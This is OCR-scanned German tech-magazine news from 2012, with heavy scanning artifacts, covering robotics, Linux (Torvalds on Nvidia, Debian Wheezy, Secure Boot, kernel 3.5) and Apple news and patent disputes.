Gottesanbeterin auf dem Mars 

Der Fangsch recken-ähn l iche Roboter "Man­
tis" sol l  eigenständig Planeten erkunden und 
mit se inen Greifern e ine I nfrastruktur  auf­
bauen können. ln seiner Form ist der Roboter 
einer Gottesanbeterin nachempfunden.  Die 
Hard- und Software entwickeln Wissenschaft­
ler des Robotics Innovation Center am Deut­
schen Forschungszentrum fü r Künstl iche In­
tel l igenz (DFKI) und der Un iversität Bremen. 

Nach Angaben der Forscher sol l Mant is 
dank seines Körperbaus und versch iedener 
Laufmuster ste i le  Krater und Geröl lfe lder 
überwinden sowie mit se inen Vorderbeinen 
Objekte g reifen und man ipu l ieren können .  
Dafü r hebt der  Roboter - wie e ine Gottesan­
beterin - den Oberkörper an .  Mantis wird im 
Rahmen des Projekts "Learn ing I nte l l igent 
Motions for Kinematica l ly  Complex Legged 

Robots for Exploration i n  Space" (L IMES) ent­
wickelt. L IMES wi rd mit  rund 3,7 M i l l ionen 
Euro vom Deutschen Zentrum für Luft- und 
Rau mfa h rt (DLR)  gefördert. "Die Herausfor­
derung i st, Laufmuster fü r u ntersch ied l iche 
Bodenbeschaffen heiten zu er lernen, in  
denen a l le  sechs Beine trotz verschiedener 
Aufgaben im E inklang a rbeiten", erklärt Prof. 
Dr. F rank  Ki rchner, Leiter des DFKI  Robotics 
I nnovation Center und der Arbeitsgruppe 
Robot ik  a n  der Uni  Bremen. 

P rojektziel i st, dem Roboter Algorithmen 
fü r versch iedene Laufmodi m itzugeben. Die 
Bewegungsmuster werden i n  S imu lat ionen 
vorgelernt. Das passende Laufmuster wählt  
der Roboter aus  e iner Verhaltensb ib l iothek 
anhand von Daten aus, d ie  Sensoren an sei­
nen Füßen l iefern. Rea le Tests fo lgen in  der · 

Turing-Maschine mit Mindstorms 

An lässl ich des 1 00. Geburtstags von Al an  Tu­
ring haben d rei N ieder länder eine Tu r ing­
Masch ine mit e inem einzigen Robot ik-Bau­
kasten Lego Mindstorms NXT gebaut. E ine 
Turing-Masch ine i st e in  abstra ktes Mode l l  
eines Computers respektive ein Konzept zur 
Prüfung der Berechenbarkeit. E ine Funktion 
ist berechenbar, wenn eine Turi ng-Masch ine 
sie lösen kann .  Die Masch ine kommt mit nur 
d rei Operationen aus, d ie  es auf Grundlage 
e ines festen Regelsatzes auf einem gedach­
ten unend l ich langen Speicherband aus­
führt: Lesen, Schre iben und den Lese-Schrei­
be-Kopf über einzelne Datenfelder des Ban-

Aibo trifft iPhone 

1 5  Servo-Motoren steuern die vordefin ierten 
Bewegungen des auf der Tokioter Spielwaren­
messe vorgestel lten robotischen Hunds i­
Sodog. Er erinnert zwar sta rk an den legendä­
ren Aibo von Sony, mangels Kamera wird er 
aber wohl  n icht an dessen Fähigkeiten heran-
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des bewegen.  Daraus lassen sich a l le  Grund­
funktionen der Mathematik ab leiten. 

Aus Resso u rcen-Gründen hat die NXT­
Tur ing-Masch ine  jedoch n u r  e in  "Band" mit  
32 Fe ldern.  Die Fe lder werden d u rch Lego­
Winkelverb inder  repräsent iert, deren Stel­
lung eine 0 oder 1 da rste l lt . Motoren bewe­
gen das Band und  den Schre i b-Lese-Kopf. 
A ls  Lesekopf muss der NXT-Lichtsensor her­
ha lten, zum Schreiben legt e in  motor1s ierter 
Hebel die Wi n kelverb inder  u m .  Ein Video 
zur  Arbeit der  Maschine und weitere Deta i l s  
s ind u nter www.legotur ingmach i ne.org zu  
fi nden.  (dab) 

kommen. Immerh in sol l  der Hund dank eines 
Mikrofons auf 50 Sprachbefehle unterschied­
l ich reagieren und sein Verha lten ändern kön­
nen. E ine einfache Kl sol l ihm dabei he lfen.  
Daneben hat i-Sodog Touch-Sensoren auf 
dem Kopf und seinem Rücken. An der Nase ist 
zudem ein kapazitiver Sensor eingebaut, über 
den zwei Roboter-Hunde sogar Daten austau­
schen können. Das funktioniert beispielsweise 
auch dann,  wenn  ein Mensch die Nase von 
zwei Hunden mit seinen Händen berüh rt. 

i-Sodog lässt s ich via B luetooth-Verbin­
dung über Smartphones steuern,  der  Her­
ste l le r  Takara Tomy hat erste Apps fü r iOS 
und Android bereits vorgefüh rt. Der Roboter 
kann  zudem synchron zu auf dem Smart­
phone abgespielter Mus ik  tanzen. Im Liefer­
u mfang des fü r Anfang 20 1 3  geplanten Mo­
de l l s  so l l  e in  Contro l le r  entha lten sein ,  mit  
dem man dem Roboter e igene Bewegungen 
beibr ingen kann .  Die Laufzeit des i nteg rier­
ten Akkus beträgt rund e ine Stu nde. Der 
Preis des vorerst nur i n  Japan erscheinenden 
Roboters sol l  bei umgerechnet etwas ü ber 
300 Euro l iegen. (dab) 

Der Roboter-Hund i-Sodog 
hört auf 50 Sprachbefehle. 

I nsekten im Welta l l :  Dank seines 
beweglichen Oberkörpers kann  
Mantis seine zwei vorderen Beine 
als Arme benutzen. 

Weitraum-Explorationsha l le  des DFKI ,  e inem 
288 Quadratmeter g roßen Testgelände mit 
kü nst l icher Krater landschaft. Mit e iner Ste­
reokamera im Kopf sol l  Mantis später ein 3D­
Bi ld seiner Umgebung erste l len und zur Erde 
fun ken. (dab) 

Sauger mit Fernbedienung 

i Robots neuestes Mode l l  Roomba 790 
kommt bereits von Haus  a u s  m it e inem 
Wireless Command Center. Anwender kön­
nen dam it den Saug roboter beq uem vom 
Sofa a u s  steuern u n d  prog ra m m ieren .  I m  
Verg le ich z u m  Mode l l  780 ist im  Lieferum­
fang des 790 mehr  Zubehör enthalten: d rei 

Mit dem Wireless Command Center 
kann man den Roomba zwar vom Sofa 
aus steuern. Bier holen kann er aber 
immer noch nicht. 

statt zwei V i rtua l  Wa l l  L ighthouses, m it 
denen s ich der  Aktions rad iu s  des Roomba 
künst l i ch  e ing renzen lässt. Daneben kön­
nen d ie  L ightheuses a ls v i rtue l le  Tü r fung ie­
ren und dem Roboter erst dann  den Weg in 
e inen  anderen Ra u m  fre igeben,  wen n  er 
den  a ktue l l en  (weitestgehend)  gesäu bert 
hat. 

Auch am Äußeren hat i Robot gefei lt  und 
dem Sauger e in  b lau-s i l br iges Des ign ver­
passt. Der Roomba 790 ist ab sofort im Shop 
von i Robot fü r 899 Euro verfügbar. (dab) 
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aktuell ! Linux 

Torvalds beschimpft Nvidia 

,.Nvidia ist d ie sch l immste F i rma, 
mit der ich je zu tun hatte. Nvi­
d ia, fuck you!" Mit d iesen d rasti­
schen Worten und ausgestreck­
tem Mitte lfi nger kommenti"erte 
L inux-Vater L inus  Torva lds d ie  
aktuel len  Probleme mit Nvid ias  
Hybridg rafi ktechn ik  der Opti­
mus-Ch i ps. Der Ch ip-Herste l le r  
war erst im März der Li nux Foun­
dation beigetreten, fü r d ie auch 
Torva lds tätig ist. 

Zur Besch impfung von Nvidia 
kam es bei e inem I nterview an 
der Aalta-Un iversität i n  He ls inki ,  
d ie  Torva lds  den a ls ,.Tech n i k­
Nobe lpre is" beka n nten M i l len­
n ium Tech nology Prize verl ieh ,  
a l s  e ine Tei l nehmer in  To rva lds  
auf Schwier igkeiten mit Nvid ias 
Optimus-Ch i ps u nter L inux an­
sprach.  Torva lds antwortete zu­
nächst recht sach l i ch :  Nvidia se i  
eher d ie  Ausnahme a ls  d ie 
Regel  und e iner der  g rößten 
Problemfä l le u nter den Ha rd­
wa re-Herste l lern .  Das sei  vor  
a l lem deswegen tra u rig ,  wei l  
Nv id ia  e ine Menge Ch ips im  An­
d roid-Ma rkt verka ufen wo l le. 
Danach l ieß er  s ich zu der  Be­
sch impfu ng h i n re i ßen, auf  d ie  
das  Pub l i kum mit Gelächter und 
App laus  reag ierte. 

Nvidia verteid igte sich damit, 
in der Treibergeneration 295 ei­
gens ein ige H inweise in die Do­
kumentation aufgenommen zu 
haben, die die Hybridg rafiktech­
nik der Optimus-Ch ips betreffe. 

Weiter heißt es in der Mitte i l ung, 
Nvidia habe d ie Entsche idung 
getroffen, be i  der L inux-U nter­
stützung auf hauseigenen, auch 
auf anderen Plattformen genutz­
ten Code zu setzen, statt s ich in  
d ie Entwicklung des  Grafi kstacks 
von L inux einzubr ingen. 

Außerdem habe Nvid ia in 
jüngster Zeit viel zum ARM-Code 
des L inux-Kerne ls  beigetragen.  
Zudem würde s ich Nvidia auch 
verstä rkt u m  d ie  L in ux-U nter­
stützung der hauseigenen Ch ips 
in PCs kümmern:  So stü nden 
Linux-Treiber n icht nur schon bei 
der Marktei nfüh rung neuer Gra­
fi kch ips  zum Download bereit, 
sondern s ie würden auch e inen 
mit  dem Windows-Tre iber ver­
g le ichba ren Funkt ionsumfang 
und e ine  ähn l iche OpenGL-Per­
formance bieten.  

Mit dem Open-Source-Treiber 
des Nouveau-Projekts g i bt es 
e ine Alternative zu Nvid ias pro­
prietärer Software. Mit der Mitte 
Mai  veröffent l ichten Vers ion 
1 .0.0 des freien Nvidia-Grafi ktrei­
bers hat nach sieben Jahren Ent­
wicklungszeit auch der letzte Tei l  
des  Treibers den  Beta-Status ab­
gelegt, g le ichzeitig wurde der 
Code aus  dem Stag ing-Bereich 
des Kerne is  i n  den Hauptent­
wickl ungszweig übernommen.  
Kü nft ige Vers ionen des L inux­
Kerne ls  sol lten Nvid ia-Grafi k­
karten somit out of the box un­
terstützen. (hos/th l )  

Erster Freeze bei Debian 7.0 Wheezy 

Mit Veröffentl i chung d ieser c't­
Ausgabe wi l l  das Debian-Projekt 
die automatische Migration von 
Paketen aus  dem Unstable-Be­
reich in den Testing-Zweig been­
den - und läutet damit die erste 
Freeze-Phase fü r das kommende 
Debian 7.0 mit dem Codenamen 
Wheezy ein. Geplant s ind weitere 
Freeze-Phasen, bei' denen die Än­
derungsmög l ichkeiten der Ent­
wickler immer weiter beschränkt 
werden. Zunächst aber wi l l  das 

Debian Release Team Aktua l i sie­
rungen der Pakete noch recht 
g roßzügig akzeptieren. 

Ein Datum fü r die Fert igstel­
l ung von Debian 7.0 g ibt es wie 
beim Debia n-Projekt üb l ich 
n icht, angepei lt i st  Anfang 20 1 3  
- wobei es n icht u ngewöhn l ich 
wäre, wenn  Wheezy erst etl iche 
Monate später fertig ist: Das De­
b ian-Tea m verfolgt trad it ione l l  
d ie  Doktri n ,.Release when 
ready". (th l )  

Red Hat steigert Quartalsumsatz 

Mit 3 1 4.7 Mi l l ionen US-Do l l a r  im  
ersten Quartal des  F inanzjah rs 
201 3, bei Red Hat endet das Ge­
schäftsjahr bereits Ende Februar, 
hat der L inux-Distributor seinen 
Umsatz gegenüber dem Vorjahr  
um 19 Prozent gegenüber dem 
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Vorjahr  steigern können .  Der 
Umsatz mit Software-Subskr ip­
t ionen stiegt sogar  u m  2 1  P ro­
zent auf 272,6 Mi l l ionen US-Dol­
la r  im Quarta l ,  der Nettogewinn  
wuchs u m  1 5  Prozent a uf 37,5 
M i l l ionen US-Do l la r. (anw) 

Neues c't Linux 

Schwerpunkt des neuen c't-Son­
derhefts ist das Thema Ha rdware 
fü r Li nux. Quer über a l l e  Hard­
warekategorien vom Notebook 
b is  zum Video-Grabber, vom 
Drucker bis zur SSD V>[ird erklä rt, 
wie man L inux-taug l iche Hard­
ware findet und die Geräte opti­
mal u nter L inux e in richtet. Tests 
u nter a nderem von U ltrabooks, 
UMTS-Sticks und TV-Karten über­
prüfen, wie aktue l le  Ha rdwa re 
mit dem fre ien Betriebssystem 
zu rechtkommt. 

Weitere Themen im Heft s ind 
der  F i le-, Pr i nt- und  Active-Di­
rectory-Server Samba 4, Content 
Management m it Drupal, Server 
i n  der Amazon-Cioud,  komfor­
ta b le Backup-Tools, der neue 
Gimp 2.8 und  der  35-Do l l a r­
Computer Raspberry P i .  Meh rere 
Artikel präsentieren Know-how 
zum Thema Booten, von der Lö­
sung a l ltäg l icher Boot-Probleme 
über das E in r ichten eines Dua l ­
Boot-Systems auf UEF I-Rechnern 
bis zum l n it-Ersatz Systemd, der 
den Bootprozess besch leunigen 
sol l .  

Auf zwei DVDs l iegen dem 
Heft versch iedene Va rianten von 
Fedora 1 7  und  L inux M int 1 3  
(,.Maya") i n  32 und 64 Bit bei . Ar­
t ikel erklären die Insta l l at ion und 
E in richtung der  L inux-Distr ibu-

UEFI Secure Boot: 

tionen und den Umgang mit den 
Desktops Gnome 3 und C in na­
mon.  H i nzu kommen e ine Vol l ­
version von SoftMaker Office fü r 
L inux und eine OwnCioud-Appl i­
ance, d ie u nter VMware und Vi r­
tua i Box die Synchronisation von 
Adressen, Term inen und Dateien 
ü ber mehrere Geräte h inweg er­
mögl icht. 

Das neue c't L inux 2/1 2 ist 
über den Heise Shop u nter www. 
he ise-shop.de/ _pid_388.html  
versandkostenfrei beste l lba r  und 
ab  dem 2.  Ju l i  im  Zeitsch riften­
handel erhält l ich. Das Heft kostet 
8,90 Euro. (od i) 

www.d.de/12 15040 

Microsoft-signierter Loader für Ubuntu 

U m  Ubuntu künft ig auf Rech­
nern mit aktivem UEF I  Secu re 
Boot sta rten zu können, wi rd das 
Projekt se inen eigenen Weg 
gehen. Wie Mark Shuttleworth 
erk lärte, könne man aufgrund 
der  GPLv3 den Bootload er Grub2 
n icht fü r den E insatz mit UEF I  Se­
eure Boot s ign ieren, ohne dass 
man gezwungen wäre, auch den 
Ubuntu-Sch lüssel  zu veröffent­
l ichen .  Daher müsse ein Boot­
laader mit e iner  anderen Ver­
bre itungs l izenz zum E insatz 
kommen: l ntels efi l i nux. 

Der P lan i st, e inen U rloader zu 
entwicke ln ,  der den von Ubuntu 
s ig n ierten Bootloader efi l i nux  
sucht  und  sta rtet. Dieser U r loa­
der sol l  dann von Microsoft s ig­
n iert werden, um zu gewäh rleis­
ten, dass Ubuntu- lnsta l lat ions­
medien auch künftig auf jedem 
Rechner booten können.  Indem 
man den U rloader von Microsoft 
s ign ieren lässt und  d ieser den 

vom Ubu ntu-Projekt sel bst s ig­
n ie rten efi l i nux-Loader sta rtet, 
könne man problemlos Ände­
rungen a n  efi l i n ux vornehmen, 
ohne dass man Microsofts Signa­
turdienst erneut in Anspruch 
nehmen müsste. Der L inux-Ker­
nel und die Kernei-Module sol len 
nicht s ig in iert werden, d ie Signa­
turkette sol l  bei efi l i nux enden. 

Herste l ler, d ie i h re Rechner für 
Ubuntu zertifizieren wol len, wer­
den den Ubuntu-Signatursch lüs­
sel d i rekt in der U EF I -F i rmwa re 
speichern müssen - dies verlangt 
Canonical ,  damit solche Systeme 
efi l i nux d i rekt sta rten können.  
Der Microsoft-Key muss a l ler­
d ings erha lten bleiben: Da Boot­
medien nach der UEF I-Spezifika­
tion led ig l ich mit einem Sch lüssel 
s ign iert sein können, ste l lt Cano­
n ical so s icher, dass auch Ubun­
tu-zertifizierte Rechner weiterhin 
von den Ubuntu-l nsta l l ations­
medien booten können. (mid) 
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Thorsten Leemhuis  

Kernei-Log 
Lin ux-Kernel 3.5 i n  der Testphase 

Der Ende J u l i  oder Anfang August erwa rtete Linux­
Kernel 3.5 bringt Verbesserungen zur Laufzeita nalyse 
von Software sowie zusätzl iche und verbesserte Grafik­
treiber. Das Ext4-Dateisystem wird seine Metadaten 
mit Checksummen absichern können.  

N ach Jahren der Entwickl ung 
und Dutzenden von Umbau­

ten stößt mit Linux 3.5 der Code 
fü r Uprobes (Userspace Probes) 
zum Kernel .  Er kann  zur Laufzeit 
Breakpoints in Userspace-Code 
einfügen. Diese Funktion lässt 
sich bis lang nu r  über das Perf­
Events-Subsystem nutzen; darauf 
zurückg reifende Trac ing-Soft­
ware wie die aktuel le Systemtap­
Version oder das dem Kernel bei­
l iegende Perf sind dadurch jetzt 
in der Lage, Tracepoints in User­
space-Software einfügen, u m  so 
das Laufzeitverha lten von Kernel 
und Prog rammen in  einem Zug 
zu beobachten.  Dam it eröffnen 
sich neue Ana lysemögl ichkeiten, 
die jedoch weiterhin weit h inter 
dem Funktionsumfang zurück­
bleiben, die Dtrace bei Solaris bie­
tet; dazu wären einige bis lang nur  
angedachte Erweiterungen rund 
um Uprobes nötig. 

Grafik 

Der Radeon-Treiber wird H DMI­
Audio bei  modernen AMD-Grafik­
chips besser u nterstützen.  Zu­
dem sol l  er  mehr Performance 
aus den DirectX- 1 1 -GPUs kitze ln .  
Der Nouveau-Treiber von 3.5 
kann  die Hardware-Beschleun i­
gung der Kepler-Ch ips nutzen, 
die auf einigen der neuesten Ge­
Force-Karten sitzen.  Fürs Erste ist 
dazu a l lerd ings eine Fi rmware er­
forderl ich, die man dem proprie­
tären Treiber entlocken muss. 

Kernel 3.5 bringt rud imentä re 
Treiber fü r d ie  Grafi kch ips  aus  
der 2000er-Serie von  AST 
(ASpeed Technolog ies), der 
G200-Serie von Matrox und den 
von Qemu emu l ie rten Ci rrus­
Grafikkern. Da d ie beiden zuerst 
genan nten Grafi kkerne vor­
nehml ich in Servern stecken, ist 
es kei n  g roßer Verl ust, dass d ie 
zugehörigen Tre iber ke ine  Be­
sch leun igu ngsfu n kt ionen n ut­
zen .  Mehrere Grafiktreiber erhal-
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ten m it Li nux 3.5 Grund lagen zur  
besseren U nterstützung von Hy­
bridgrafik; an der passenden Un­
terstützung im X-Server und an­
deren Ste l len  des Grafikstacks 
wird noch gea rbeitet. 

Storage 

Das Ext4-Dateisystem wird sei ne 
Metadaten ab Linux 3.5 mit Prüf­
summen versehen können.  Fa l l s  
es später Verfä lschungen an  den 
Dateisystem- I nterna erken nt, 
ka n n  es die Arbeit gegebenen­
fa l l s  stoppen, u m  n icht verse­
hent l ich Nutzdaten zu zerstören .  
Ältere Kernel können Ext4-Datei­
systeme, bei denen d iese Funk­
tion per Tune2fs aktiviert wurde, 
n u r  noch lesend e inb inden .  Bei 
Btrfs gab es einige Änderungen 
a n  der  Handhabung von Meta­
daten, welche die Latenzen in 
bestim mten Fä l len  deut l ich re­
d uzieren so l len;  der Btrfs-Code 
fü r RAI D  5 und 6 hat d ie Aufnah­
me aberma ls verpasst. 

Mit H i lfe der Target- l nfrastruk­
tu r-Software von L inux- lscs i .org 
(LIO) kan n  Kernel  3 .5 Datenträ­
ger per F i reWire exportieren, die 
a ndere Systeme wie e inen F i re­
Wi re-Datenträger e inbinden kön­
nen; viele Apple-Systeme bieten 
solch einen "F i reWire ta rget d i sk 
mode" schon l änger. Auch mit 
den F ib re-Chan nei-Contro l lern 
aus QLog ics Ser ien 2400, 2500 
und 2600 wird L inux 3.5 a l s  SCSI 
Target a rbeiten können; Selbiges 
ge l ingt bei 3.5 erstmals  auch per 
UASP (USB Attached SCSI P ro­
tocol ) ,  wen n  der USB-Ch ip  ent­
sprechende "Gadget"- F u n kt io­
nen zum Betrieb a l s  USB Master 
beherrscht. 

Netzwerk 

Zum Netzwerksu bsystem stößt 
"Code l '', eine I mplementieru ng 
des Paket-Schedu lers "Contro l ­
led Delay Active Queue Manage-

ment (AQM)". Er i st e in weiterer 
Baustein,  der zur Vermeidung 
des Prob lems "Bufferbloat" bei­
tragen sol l ;  das füh rt u nter ande­
rem zu g roßen Netzwerklaten­
zen und Verbindungsproblemen, 
an  der eine zu i ntensive Nutzung 
der Caches i n  modernen Netz­
werkch ips mitschu ld ig  ist. 

Der noch junge Teaming­
Tre iber wird ab  L inux 3.5 auch 
Load Ba lanc ing beherrschen.  
Zum TCP-Stack stößt "Ear ly Re­
transmit (ER}", das die Verbin­
dungsregeneration nach Paket­
verl usten besch leun igen sol l ,  wie 
es RFC 5827 besch reibt. Das 
ebenfa l l s  neue "TCP connection 
repa i r" soll Probleme beim Netz­
werkverkehr  vermeiden, nach­
dem Conta iner  auf e inen a nde­
ren Host verlagert wurden. 

Die "User Namespace En­
hancements" d ichten Conta i ner 
besser ab und sorgen fü r e ine 
saubere Trennung von User- und 
Gruppen-lOs auf dem Host und 
im Conta i ner. Anwender, d ie 
Root-Rechte i n  e inem Conta iner  
haben, können dadurch n icht 
mehr auf beliebige Dateien in 
den Verzeichn issen /proc/ und 
/sys/ zug reifen und über d iese 
das Verha lten des Wirts beeinflus­
sen. Über den "Seccomp F i lters 
Mechanism" kann Software in der 
Syntax eines Berkeley-Packet­
F i lters einen Fi lter ein richten, der 
reg lement iert, we lche System 
Ca l l s  e in Programm nutzen darf; 
das kann  etwa fü r Browser 
i nteressant sein, die nicht ver­
trauenswürdigen Code ausführen 
wol len .  

Android 

L inux 3 .5 wird d ie bei Android 
genutzte "Switch"-Funktion zum 
Monitoring von Ansch l üssen in 
einer übera rbeiteten Form ent­
ha lten, d ie s ich "Externa l  Con­
nector Class (extcon)" nen nt. l n  
d a s  Power-Management-Subsys­
tem ziehen Autosleep und e in ige 
zugehörige Erweiterungen ein, 
du rch d ie s ich e in  System auto­
matisch komplett schlafen legen 
kann,  wenn es n ichts zu tun g ibt. 
Das ist weniger fü r Notebooks a ls  
für Geräte wie Smartphones inte-
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ressant, d ie schnel l  aus dem Tief­
schlaf aufwachen; .der Android­
Kernel b ietet im Rahmen von 
"Wakelocks" a l i a s  "Suspend Blo­
ckers" schon länger  ähn l iche 
Mechan i smen und erzielt ohne 

. sie nur dürftige Akku-Laufzeiten. 
Diese Funktionen waren mehr­
fach Zanka pfel zwischen Linux­
Kernel- und Android-Entwicklern; 
ob Letzte re mitte lfri stig auf d ie 
neue Kernel- l nfrastruktur umstel­
len, ist nicht bekannt. 

Der Kernel erhält zudem eini­
ge g rößere Umbauten an den 
Funktionen rund u m  das Log­
g ing, was Verbesserungen für die 
automatische Ana lyse von Ereig­
nisprotokol len bieten sol len. Der 
Arch itektur- und Tracing-Code 
des Kerneis  unterstützt nun das 
"Precise event sampl ing" mit den 
Funktionseinheiten fü r l nstruc­
t ion-Based Sampl ing ( I BS), die 
AMDs moderne Prozessorkerne 
zum Performance Mon itoring 
mitbr ingen. Durch g rößere Um­
bauten am Code fü r Error De­
tection And Correction (EDAC) 
zeigt der Kernel in Zukunft bes­
ser an, wo genau e in  Speicher­
fehler aufgetreten ist. 

Die Treiber fü r das Manage­
ment Engine I nterface (MEI)  
vieler Ma inboard-Chi psätze von 
I ntel konnte den Staging-Zweig 
verlassen. Selbiges gelang nach 
langer Zeit auch den Kernfunk­
tionen zur Unterstützung des ln­
dustria l 1/0 ( 1 10) - ein in der I n­
dustrie genutztes Bussystem, um 
etwa Spannungs-, Temperatu r-, 
Besch leun igungs- oder He l l ig­
ke itssensoren anzusprechen.  
Viele 1 10-Treiber bleiben aber fürs 
Erste noch im Bereich fü r Treiber, 
die den Qual itätsansprüchen der 
Kernei-Entwickler n icht genügen. 
Für den Embedded-Bereich inte­
ressant ist der neue Contiguous 
Memory A l locator (CMA), der  
g rößere zusammenhängende 
Speicherbereiche zur Nutzung 
durch Treiber reserviert. 

Der Prozess-Schedu ler erfährt 
e in ige g rößere Umbauten, d ie 
das Verha lten bei NU MA-Syste­
men verbessern so l len .  E in ige 
a ngestau bte, laut den Entwick­
lern mehr  sch lecht a l s  recht ar­
beitende Funktionen zum strom­
sparenden Prozess-Schedu l i ng 
fl iegen in dem Zug raus.  Mit 3.5 
entfernen d ie Kernei-Entwickler 
zudem die U nterstützung fü r 
Token-R ing-Netzwerke und die 
Micro Channel Arch itecture 
(MCA}, d ie beide schon seit mehr 
als e inem Jahrzehnt Oldtimer­
Status haben. (th l )  
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aktuel l ! Apple 

Mountain-Uon-Release rückt näher 

Laut e inem Bericht von 9to5Mac 
hat Apple d ie Mitarbeiter seiner 
Reta i i-Stores gebeten, den Lion­
Nachfolger zu testen. Genius-Bar­
Experten und .. Creatives" sei eine 
AppleSeed-Mitg l iedschaft einge­
richtet worden, womit s ie e ine 
Vorabvers ion des B.erg löwen 
auch auf i h ren Privatrechnern in-

sta l l ieren können. Das Programm 
nutzt der Herste l ler  gewöhn l ich, 
um Pre-Release-Versionen von 
ausgewäh lten Personen abseits 
der Apple-Entwicklergemeinde 
testen zu lassen.  Die E inb indung 
der Ladenangeste l lten ste l le  e in  
Novum dar, he ißt es. Mac OS X 
1 0.8 ist fü r Ju l i  angekünd igt. (j ra) 

AppleScript-IDE im Ein-Fenster-Design 

Die AppleScript-Entwicklungs­
umgebung Script Debugger ist in  
Version 5 mit  überarbeiteter Be­
dienoberfläche erschienen: Ähn­
l ich wie in Xcode ordnen sich Va­
riablen-Übersichten und I nspek­
toren nun innerha lb  des Haupt­
fensters an .  Zwischen mehreren 
Skripten lässt sich mit H i l fe von 
Tabs schnel ler wechseln .  

Bed ingte Ha ltepunkte (Condi­
t ional  Breakpoints) er le ichtern 
neuerd ings  die Feh lersuche: 
Skri pte werden zu defi n ie rten 

repeatwtth mrPtrson ln selld�s '"" 
set mytltle to tlttl 
lf mvt!Cie conblns "Herr" then 

,, .. 

lt mvtK.II • ll'liSSiniJ �� then Ht: tiUt to "Herr" 
.... 

,, .. 
.... 

end lf 

end lf 

end tell 

end repeat 

endtell 

Bed ingungen,  beisp ie lsweise 
nach Erreichen eines bestimmen 
Schle ifendu rch laufs angeha lten .  
Den passenden Code-Schn ipsel 
findet man mit einer neuen 
Sch ne l l -öffnen-Funkt ion,  d ie 
Spot l ight verwendet und  a l l e  
Skr iptdateien a uf dem Mac 
d u rchsucht. Scr ipt Debugger 5 
ist e ine 54-Bit-Appl i kat ion, s ie 
g ibt es nu r  i n  engl ischer Sprache. 
Die Vol lvers ion kostet 200 US­
Dol l a r, e in  Upgrade i st a b  1 00 
US-Dol la r  erhält l ich.  (thk) 

Script Debugger 5 erlaubt bedingte Haltepunkte, 
ideal für die Feh lersuche. 

iOS-Geräte verletzen Samsung-Patent 

Apple verletzt mit bestimmten 
iPhone- und i Pad-Model len e in  
Patent von Samsung in  den N ie­
der landen. Das hat das Bezi rks­
gericht in Den Haag entsch ieden. 
Konkret geht es um ä ltere Geräte 
mit l nfineon-Kommun ikations­
Chip und das UMTS-Patent mit 
der N ummer EP 1 1 88269. Das 
iPhone 4S und das iPad der d rit­
ten Generation s ind davon aus­
genommen, beide verwenden 
einen Funkch ip von Qualcomm. 
Da es sich um sogenan nte 
FRAN D-Lizenzen handelt, müs­
sen sich beide nun  auf e ine Li­
zenuahlung verständigen.  
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Drei  weitere Patente, d ie Sam­
sung i n  zwei weiteren K lagen 
gegen Apple a ngefü h rt hatte, 
verletzt der Herstel ler  nach An­
sicht des Gerichts n icht. Dadu rch 
muss  der  südkorean ische Kon­
zern dem iPhone-Herste l ler  P ro­
zesskosten in Höhe von 800 000 
Euro erstatten .  Diese Summe 
könnte d ie Höhe der Lizenuah­
l u ng übersteigen, d ie Apple fü r 
d ie  Patentver letzung a n  Sam­
sung le isten muss. Im Prozess­
verlauf hatte Samsung vergeb­
l ich versucht, e inen Verka ufs­
stopp von Apples UMTS-Produk­
ten zu erreichen. (ohu) 

Bildverwalter beschleunigt 

ACD Systems hat Vers ion 2 sei­
nes B i ldverwa lters und -optim ie­
rers ACDSee Pro für den Mac ver­
öffentl icht. Sie kommt mit über­
a rbeiteter Cocoa-Oberfläche, sol l 
u nter der  Haube i n  64 Bit und  
deutl ich schnel ler rechnen.  

H i nzugekommen s ind u nter 
anderem eine Dup l i katsuche, 
e ine Diashow-Vo l lb i l d-Ansicht 
mit  acht verschiedenen Ü ber­
gangseffekten und neue Reg ler  
wie . .  C ia rity" (K larheit), . .  Soft 

Focus" oder .. Cross Process". Die 
letzten beiden E instel l ungen ver­
passen dem Foto e inen Retro­
Look mit verwaschenen B i ldbe­
re ichen und  Fa rbversch iebun­
gen.  Besonderes Augenmerk hat 
der Herste l ler  auf fei n  justierbare 
He l l i gkeit- und Kontrastwerte 
ge legt, d ie  s ich mit b is  zu zehn  
Reg lern optimieren lassen.  
ACDSee Pro 2 kostet 1 40 US-Dol­
l a r, eine deutsche Sprachversion 
g ibt es b is lang n icht. (thk) 

US-Bundesgericht weist Klagen von Apple 
und Motorola ab 
I m  Patentstreit zwischen Apple 
und Motoro la  hat das  US-Bun­
desberufungsger icht d ie  K lagen 
beider Kontrahenten a bgewie­
sen. Der vorsitzende Richter R i­
cha rd Posner fü h rte a u s, dass 
beide keinen  fi nanz ie l len Scha­
den d u rch d ie  mög l i chen Pa­
tentver letzu ngen nachweisen 
konnten.  

Das U rte i l  könnte s ich r ich­
tungsweisend fü r Patentstreitig­
keiten weltweit erweisen und  

@ Mac-Notizen 

Nach dem moderaten Mac­
Pro-U pdate (s iehe c't 1 4/1 2) 
hat s ich Apple-Chef Tim Cook 
via E-Ma i l  gegenü ber e inem 
enttäu schten Kunden ge­
ä ußert: . . Apple sind die P ro­
Kunden sehr  wichtig". Etwas 
. .  Großartiges" Neues werde im 
nächsten Jahr auf den Markt 
kommen, bis dah in  sei das Re­
t i na-MacBook-Pro e ine g ute 
Lösung fü r Profis . 

Apple wi l l  US-Angeste l lten sei­
ner Reta i i-Sparte künftig bis zu 
25 Prozent mehr Lohn bezah­
len.  Derzeit l iegen die Stunden­
sätze fü r Ladenangeste l lte zwi­
schen 9 und 1 5  US-Do l l a r  und 
fü r Gen ius-Bar-Mitarbeiter bei 
bis zu 30 US-Dol l a r. 

3 74 000 US-Do l l a r  wa r e inem 
u nbeka n nten B ieter bei  e iner  
Aukt ion a m  1 5 .  Jun i  i n  New 
York e i n  Apple 1 wert. Von 
Apples erstem rund 200-ma l  
gebauten Computer existieren 
heute noch rund SO Exempla­
re ,  da ru nter sechs la uffä h ige .  
Bei e iner  anderen Aukt ion 

d ü rfte vor a l lem i n  den USA zu 
ä h n l ichen Klageabweisungen 
füh ren .  Patentexperte F lor ian 
M ü l ler  befü rchtet a l lerd i ngs, 
dass a l s  Konsequenz dann viele 
Patentstreit igkeiten einfach von 
den USA i n  andere Länder wie 
beispielsweise Deutsch land ver­
lagert werden .  Er  g l aubt, dass 
s ich a u ßerha l b  der USA erst in 
fünf bis zehn  Jahren die Rechts­
auffassung Posners du rchsetzen 
könnte. (ohu) 

Ende 201 0 wechselte e in  Mo­
dell fü r 2 1 3 000 US-Do l l a r  den 
Bes itzer. 

Ü ber  1 00 Videos von WWDC­
